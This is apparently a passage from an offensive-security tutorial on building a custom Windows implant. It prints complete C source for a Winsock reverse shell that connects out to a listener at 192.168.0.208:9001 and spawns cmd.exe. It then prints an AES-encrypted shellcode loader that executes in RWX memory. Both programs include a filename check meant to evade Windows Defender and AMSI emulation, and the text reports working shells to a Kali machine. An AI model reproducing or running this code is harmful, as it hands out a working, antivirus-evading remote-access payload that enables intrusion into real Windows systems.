The best way to get a working payload, is going to be to write your own program to achieve the connection. Msfvenom payload will maybe work in some environments, but they're too signatured to be seriously viable in most engagements.
We can begin by using the revshell.com template. We make a couple of modifications and it looks something like this:
Copy #include <winsock2.h>
#include <stdio.h>
#include <shlwapi.h>
#pragma comment ( lib , "ws2_32" )
#pragma comment ( lib , "shlwapi.lib" )
WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in hax ;
char ip_addr [ 16 ] = "192.168.0.208" ;
char port [ 6 ] = "9001" ;
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
int main ()
{
//name check code to validate we're not being emulated
int rv = 0 ;
LPSTR out = NULL ;
char lpFileName [ 200 ];
GetModuleFileNameA ( NULL , lpFileName , sizeof (lpFileName));
out = PathFindFileNameA ((LPCSTR)lpFileName);
rv = strcmp (out , "implant.exe" );
if (rv == 0 ){
FreeConsole ();
WSAStartup ( MAKEWORD ( 2 , 2 ) , & wsaData);
Winsock = WSASocket (AF_INET , SOCK_STREAM , IPPROTO_TCP , NULL , ( unsigned int ) NULL , ( unsigned int ) NULL );
struct hostent * host ;
host = gethostbyname (ip_addr);
strcpy (ip_addr , inet_ntoa ( * (( struct in_addr * ) host -> h_addr)));
hax . sin_family = AF_INET;
hax . sin_port = htons ( atoi (port));
hax . sin_addr . s_addr = inet_addr (ip_addr);
WSAConnect (Winsock , (SOCKADDR * ) & hax , sizeof (hax) , NULL , NULL , NULL , NULL );
memset ( & ini_processo , 0 , sizeof (ini_processo));
ini_processo . cb = sizeof (ini_processo);
ini_processo . dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
ini_processo . hStdInput = ini_processo . hStdOutput = ini_processo . hStdError = (HANDLE)Winsock;
TCHAR cmd [ 255 ] = TEXT ( "cmd.exe" );
CreateProcess ( NULL , cmd , NULL , NULL , TRUE , 0 , NULL , NULL , & ini_processo , & processo_info);
}
return 0 ;
}
The most important part of the code is the name check bypass. Because we intend to use this code as the foundation of our payload, this code must also check if it is being emulated in order to bypass emulation checks by Windows Defender and AMSI.
We can now either use pe2shc or modify this code to make a dll and then use sRDI to make a reflective dll shellcode.
We encrypt our new payload for good measure and get the following implant.cpp code:
Copy #include <Windows.h>
#include <iostream>
#include <pathcch.h>
#include <shlwapi.h>
#include <wincrypt.h>
#pragma comment ( lib , "crypt32.lib" )
#pragma comment ( lib , "advapi32" )
#pragma comment ( lib , "shlwapi.lib" )
#include <psapi.h>
unsigned char payload[] = { 0x 98 , 0x 1 , 0x 3a , 0x 7f , 0x ca , 0x 37 , 0x ef , 0x 10 , 0x ab , 0x 10 , 0x dc , 0x 8c ,
[..snip…]
0xec, 0x33, 0x6f, 0xd4, 0xbf };
unsigned char key[] = { 0x78, 0xd4, 0xcb, 0x24, 0x34, 0x97, 0xb1, 0xb, 0x5d, 0x47, 0x72, 0x14, 0x17, 0xab, 0x7f, 0xe5 };
size_t payload_len = sizeof (payload);
size_t key_len = sizeof (key);
int AESDecrypt ( char* payload , unsigned int payload_len , char* key , size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if ( ! CryptAcquireContextW ( & hProv , NULL , NULL , PROV_RSA_AES , CRYPT_VERIFYCONTEXT)) {
return - 1 ;
}
if ( ! CryptCreateHash (hProv , CALG_SHA_256 , 0 , 0 , & hHash)) {
return - 1 ;
}
if ( ! CryptHashData (hHash , (BYTE * )key , (DWORD)keylen , 0 )) {
return - 1 ;
}
if ( ! CryptDeriveKey (hProv , CALG_AES_256 , hHash , 0 , & hKey)) {
return - 1 ;
}
if ( ! CryptDecrypt (hKey , (HCRYPTHASH) NULL , 0 , 0 , (BYTE * )payload , (DWORD * ) & payload_len)) {
return - 1 ;
}
CryptReleaseContext (hProv , 0 );
CryptDestroyHash (hHash);
CryptDestroyKey (hKey);
return 0 ;
}
int main ( int argc , char * argv[])
{
LPVOID exec_mem = NULL ;
HANDLE th = NULL ;
int rv;
char lpFileName [ 200 ];
LPSTR out = NULL ;
GetModuleFileNameA ( NULL , lpFileName , sizeof (lpFileName));
out = PathFindFileNameA ((LPCSTR)lpFileName);
rv = strcmp (out , "implant.exe" );
if (rv == 0 ) {
FreeConsole ();
//allocate executable payload in memory
exec_mem = VirtualAlloc ( 0 , payload_len , MEM_COMMIT | MEM_RESERVE , PAGE_EXECUTE_READWRITE);
//copy our encrypted payload into that memory
RtlMoveMemory (exec_mem , payload , payload_len);
//decrypt the payload in the that memory
AESDecrypt (( char* )exec_mem , payload_len , ( char* )key , key_len);
//create thread with our payload running
th = CreateThread ( 0 , 0 , (LPTHREAD_START_ROUTINE) exec_mem , 0 , 0 , 0 );
if (th != NULL ){
WaitForSingleObject (th , - 1 );
}
}
return 0 ;
}
Moving this executable into our unprotected test folder, we're able to get good reverse shells to our Kali machine.
We try this code multiple times on our Windows 10 system to verify that it's a survivable executable.